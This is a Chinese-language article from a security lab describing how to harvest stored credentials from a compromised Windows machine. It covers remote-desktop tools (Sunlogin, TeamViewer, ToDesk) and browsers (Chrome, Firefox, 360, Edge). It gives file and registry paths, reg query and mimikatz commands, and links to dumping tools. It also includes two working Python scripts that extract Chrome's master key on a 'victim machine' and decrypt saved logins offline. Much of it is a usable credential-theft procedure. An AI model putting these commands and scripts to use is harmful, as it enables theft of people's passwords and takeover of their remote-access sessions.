戟星安全实验室
本文约5078字,阅读约需13分钟。
0x00 前言
继上一篇文章介绍远程工具和浏览器的密码获取方式,再也不用担心信息收集不全了
0x01 远程类
向日葵
日葵远程控制软件是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件
需要获取的为两处,Fastcode:本机识别码 Encry_pwd:本机验证码
配置路径
安装版:
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):
C:\ProgramData\Oray\SunloginClient\config.ini
注意高版本的向日葵配置是放在注册表中
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
使用离线工具:
https://github.com/wafinfo/Sunflower_get_Passwor
输入encry_pwd
使用在线工具SharpDecryptPwd
TeamViewer
TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案
大多数工具都是去获取进程的句柄找到ID和PASS,也有一部分是从内存中得到的。
使用工具
https://github.com/attackercan/teamviewer-dumper
github上有个项目
https://github.com/ianxtianxt/teamview
就是将tv丢到目标机器然后获取密码
TV_V2.exe在目标上运行会在当前目录生成生成3个文件
然后请运行生成的gps.exe文件之后会生成vtr.txt里面有ID和pass
连接请用windows server然后安装压缩包里的TeamViewer_Setup.exe文件
ToDesk
ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。
配置文件在安装目录下的config.ini文件,这里我是默认安装的
C:\Program Files (x86)\ToDesk\config.ini
tempAuthPassEx=7e58d8c6a5d99dc4a6fd80425f1ca5cd8f4d6f9fd7ca49a47820831b0e6953ae6e9fe248645c1d40c7511446e764aac3515b609b2b78
就是临时密码,利用方法很简单
直接将受害机的临时密码复制出来,替换到本机的config.ini文件中,然后重启就可以看到明文密码了
0x02 浏览器类
Chrome
谷歌浏览器Google Chrome将简约的界面设计与先进的技术相融合,让网络浏览变得更快速、安全而且简便。
80版本前后的加密方式不一样,测试用的新版本的
保存的密码有两个
登录账户密码文件位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
cookie存储位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\cookie
浏览历史储存位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\History
加密key的位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Local State
这是一个sql文件可以直接用数据库工具打开,密码还是加密的
直接用mimikat在线获取google密码
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
github上有许多在线项目可解密大部份浏览器这里随便用一个
https://github.com/moonD4rk/HackBrowserData/tree/v0.3.7
根据需求下载,我这是windows直接运行就行
半离线获取
生成exe放目标机器运行 会获得一个masterkey.txt文件
import win32crypt
import os
import json
import base64
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]
print(master_key)
with open("masterkey.txt",'wb') as msf:
msf.write(master_key)
本地运行加上受害机上的masterkey.txt文件和Login Data数据库文件获取密码
import os
import sqlite3
from Crypto.Cipher import AES
def get_master_key():
with open("masterkey.txt",'rb') as msf:
buf = msf.read()
print(buf)
return buf
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
return "Chrome<80"
if __name__ == '__main__':
master_key = get_master_key()
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
print(encrypted_password)
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
print('error')
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
离线获取
http://www.nirsoft.net/utils/chromepass.html
需要三个文件Login Data,Local State和S-1-5-21-xxxx文件
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\oneseven\AppData\Roaming\Microsoft\Protect\S-1-5-21-xxxx
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\ Local State
需要注意的是,要确认两次才会显示出密码
firefox
Firefox 浏览器 选择会保护重要数据的浏览器 没有晦涩难懂的隐私保护政策,更不向广告商预留后门,纯粹是一款闪电般快、不会出卖您的浏览器。
火狐有一个主密码,这里测的是没有主密码的情况下
浏览器保存信息的位置
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release
两个比较关键的文件
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key4.db
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json
logins.json的文件类容就是保存的密码,只不过做了加密
使用离线工具
https://github.com/unode/firefox_decrypt
需要注意的是使用的是python9+以上
直接将xxx.default-release文件夹复制到自己的电脑
也可以直接用HackBrowserData解密
360浏览器
360浏览器一般指360安全浏览器。 360安全浏览器(360 Security Browser)是360安全中心推出的一款基于IE和Chromium双内核的浏览器,是世界之窗开发者凤凰工作室和360安全中心合作的产品。
敏感文件位置,assis2.db就是存储着密码的文件
C:\Users\oneseven\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis
还需要MachineGuid
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
离线工具
https://github.com/hayasec/360SafeBrowsergetpass
命令
Safe360Browsergetpass.exe <assis2.db文件位置> <MachineGuid>
Microsoft Edge
Microsoft Edge(简称ME浏览器)是由微软开发的基于 Chromium 开源项目及其他 开源软件的网页浏览器。
win10自带的浏览器,存了两个密码
直接用HackBrowserData解密
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #